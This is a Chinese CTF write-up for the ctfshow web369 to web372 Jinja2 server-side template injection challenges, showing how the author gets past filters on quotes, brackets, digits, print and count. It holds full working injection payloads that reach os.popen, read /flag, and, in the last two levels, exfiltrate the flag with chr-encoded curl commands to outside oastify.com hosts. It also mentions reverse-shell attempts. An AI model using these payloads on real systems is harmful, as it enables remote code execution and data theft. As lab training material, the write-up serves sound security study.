当前位置: 首页 > article >正文

ctfshow-web入门-SSTI(web369-web372)下

目录

1、web369

2、web370

3、web371

4、web372


1、web369

完全过滤了 request

双大括号也过滤了

包括前面的单双引号、中括号、下划线都是过滤了的

能构造出一些东西

调用属性:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%print(lipsum|attr(gl))%}

调用键:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%print((lipsum|attr(gl)).get(o))%}

调用方法:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%print(((lipsum|attr(gl)).get(o)).popen)%}

构造 payload 命令执行:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%set l=(((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(l).read())%}

ls 执行成功 

但是 flag 在根目录,斜杠 / 这个符号在我们的 lipsum 里面没有

因此我们得换一种构造方法,这里使用 join 过滤器:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(dict(l=a,s=b)|join).read())%}

这里单个命令都好执行

但是问题又来了,空格怎么搞

试了一些绕过方法,都不行 

并不是绕过方法不行,是一些字符在这里无法使用,本地测试:

可以发现 / $ < 这些符号会导致环境崩溃

那么我们还是就第一种方法一个一个构造吧

斜杠符号我们在这里找:

定位具体位置:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%print((lipsum|attr(gl)|string|list).pop(431))%}

拿下

最终 payload:

?name={%set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{%set o=(((lipsum|string|list).pop(7))~((lipsum|string|list).pop(27)))%}
{%set cmd=(((lipsum|string|list).pop(4))~((lipsum|string|list).pop(15))~((lipsum|string|list).pop(5))~((lipsum|string|list).pop(9))~((lipsum|attr(gl)|string|list).pop(431))~((lipsum|string|list).pop(1))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(15))~((lipsum|string|list).pop(10)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(cmd).read())%}

看了其他wp发现这道题有更简单的方法,大家自行摸索,我这里还是做复杂了

2、web370

新增过滤了数字

上面的 payload 用到了 1 4 5 7 9 10 15 18 19 27 31 40 431

基于上面的 payload,替换数字后可以得到如下 payload:

?name=
{%set one=dict(c=a)|join|count%}
{%set two=dict(cc=a)|join|count%}
{%set three=dict(ccc=a)|join|count%}
{%set four=dict(cccc=a)|join|count%}
{%set five=dict(ccccc=a)|join|count%}
{%set six=dict(cccccc=a)|join|count%}
{%set seven=dict(ccccccc=a)|join|count%}
{%set eight=dict(cccccccc=a)|join|count%}
{%set nine=dict(ccccccccc=a)|join|count%}
{%set ten=dict(cccccccccc=a)|join|count%}
{%set onefiv=(three*five)%}
{%set oneeig=(three*six)%}
{%set onenin=(three*six%2Bone)%}
{%set twoeve=(three*nine)%}
{%set threeone=(twoeve%2Bfour)%}
{%set fourty=(four*ten)%}
{%set fouroo=(fourty*ten%2Bthreeone)%}
{%set gl=(((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(ten))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(seven))~((lipsum|string|list).pop(fourty))~((lipsum|string|list).pop(threeone))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(twoeve))~((lipsum|string|list).pop(oneeig))~((lipsum|string|list).pop(oneeig)))%}
{%set o=(((lipsum|string|list).pop(seven))~((lipsum|string|list).pop(twoeve)))%}
{%set cmd=(((lipsum|string|list).pop(four))~((lipsum|string|list).pop(onefiv))~((lipsum|string|list).pop(five))~((lipsum|string|list).pop(nine))~((lipsum|attr(gl)|string|list).pop(fouroo))~((lipsum|string|list).pop(one))~((lipsum|string|list).pop(onenin))~((lipsum|string|list).pop(onefiv))~((lipsum|string|list).pop(ten)))%}
{%print((((lipsum|attr(gl)).get(o)).popen)(cmd).read())%}

但是由于每次重启环境后 (lipsum|string) 的地址会变,字符也就有些不一样了

因此我们前面构造的字符就会有区别,需要重新定位字符的位置

它这里还过滤了一些其他字符串

重新找一遍太折腾了,我们这里换 payload,不再构造数字了,直接用全角数字替换半角数字

前面说过拼接出来的字符斜杠这些会导致环境崩溃,而 flag 是在根目录下面肯定需要用到斜杠

这里我们使用 chr 函数,payload:

{%set a=(lipsum|string|list).pop(18)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set flag=(chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103))%}
{%print((lipsum|attr(gl)).get(bu).open(flag).read())%}

当然,我们也可以按照上一题 {%print((lipsum|attr(gl)|string|list).pop(431))%} 的方法定位斜杠的位置,继续做拼接,按理来说是可行的,各位自行尝试,我只是觉得那样做复杂了。

3、web371

新增过滤 print

没有回显的话我们考虑外带攻击或者反弹 shell

这里以外带为例,payload:

?name=
{%set o=(dict(o=a,s=b)|join)%}
{%set a=(lipsum|string|list).pop(24)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(56)%2bchr(117)%2bchr(51)%2bchr(104)%2bchr(100)%2bchr(51)%2bchr(97)%2bchr(53)%2bchr(105)%2bchr(48)%2bchr(121)%2bchr(105)%2bchr(52)%2bchr(117)%2bchr(49)%2bchr(105)%2bchr(109)%2bchr(98)%2bchr(48)%2bchr(120)%2bchr(110)%2bchr(104)%2bchr(49)%2bchr(98)%2bchr(52)%2bchr(50)%2bchr(97)%2bchr(116)%2bchr(121)%2bchr(111)%2bchr(109)%2bchr(100)%2bchr(46)%2bchr(111)%2bchr(97)%2bchr(115)%2bchr(116)%2bchr(105)%2bchr(102)%2bchr(121)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%}
{%if((lipsum|attr(gl)).get(o).popen(cmd))%}
myon
{%endif%}

 

4、web372

新增过滤 count

如果我们采用构造数字的方法,可以用 length 替代

有点麻烦,我们还是直接采用全角数字

上一题演示的是外带,这里我们尝试反弹 shell

可以接收到请求但是无法常规的反弹 shell , nc 反弹也没有成功

那就还是继续外带吧,payload:

?name=
{%set o=(dict(o=a,s=b)|join)%}
{%set a=(lipsum|string|list).pop(24)%}
{%set gl=(a,a,dict(globals=b)|join,a,a)|join%}
{%set bu=(a,a,dict(builtins=b)|join,a,a)|join%}
{%set chr=((lipsum|attr(gl)).get(bu).chr)%}
{%set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(120)%2bchr(120)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(118)%2bchr(114)%2bchr(113)%2bchr(52)%2bchr(97)%2bchr(113)%2bchr(55)%2bchr(115)%2bchr(102)%2bchr(110)%2bchr(118)%2bchr(53)%2bchr(49)%2bchr(104)%2bchr(121)%2bchr(53)%2bchr(106)%2bchr(121)%2bchr(120)%2bchr(107)%2bchr(107)%2bchr(52)%2bchr(121)%2bchr(121)%2bchr(49)%2bchr(112)%2bchr(55)%2bchr(103)%2bchr(118)%2bchr(57)%2bchr(106)%2bchr(121)%2bchr(46)%2bchr(111)%2bchr(97)%2bchr(115)%2bchr(116)%2bchr(105)%2bchr(102)%2bchr(121)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%}
{%if((lipsum|attr(gl)).get(o).popen(cmd))%}
myon
{%endif%}

 

SSTI 注入至此结束

My6n,20241115 


http://www.kler.cn/a/396322.html

相关文章:

  • Android 中的 Zygote 和 Copy-on-Write 机制详解
  • C语言编程练习:验证哥德巴赫猜想 进制转换 rand函数
  • 常用在汽车PKE无钥匙进入系统的高度集成SOC芯片:CSM2433
  • 智慧建造-运用Trimble技术将梦幻水族馆变为现实【上海沪敖3D】
  • linux常见资源查询命令(持续更新)
  • uni-app表格带分页,后端处理过每页显示多少条
  • 数据结构-二叉树及其遍历
  • 第二十九篇——线性代数:“矩阵”到底怎么用?
  • 【数据结构】双向链表定义与实现
  • linux 工具curl详解
  • 效益登记册效益管理计划
  • 用WordPress需要学习哪些编程知识
  • CentOS 9 配置网卡
  • Dial-insight:利用高质量特定领域数据微调大型语言模型防止灾难性遗忘
  • NPOI 实现Excel模板导出
  • 【miniMax开放平台-注册安全分析报告-无验证方式导致安全隐患】
  • 【Unity Bug 随记】unity version control 报 xx is not in a workspace.
  • 时序数据库TDEngine
  • Day 65 || SPFA、判断负权回路、bellman_ford之单源有限最短路
  • 【leetcode】N皇后 回溯法c++
  • 一文说清libc、glibc、glib的发展和关系
  • 《JavaScript 前端开发》
  • python学习_2.去除字符strip方法
  • CC3学习记录
  • H5页面多个视频如何只同时播放一个?
  • 【idea】更换快捷键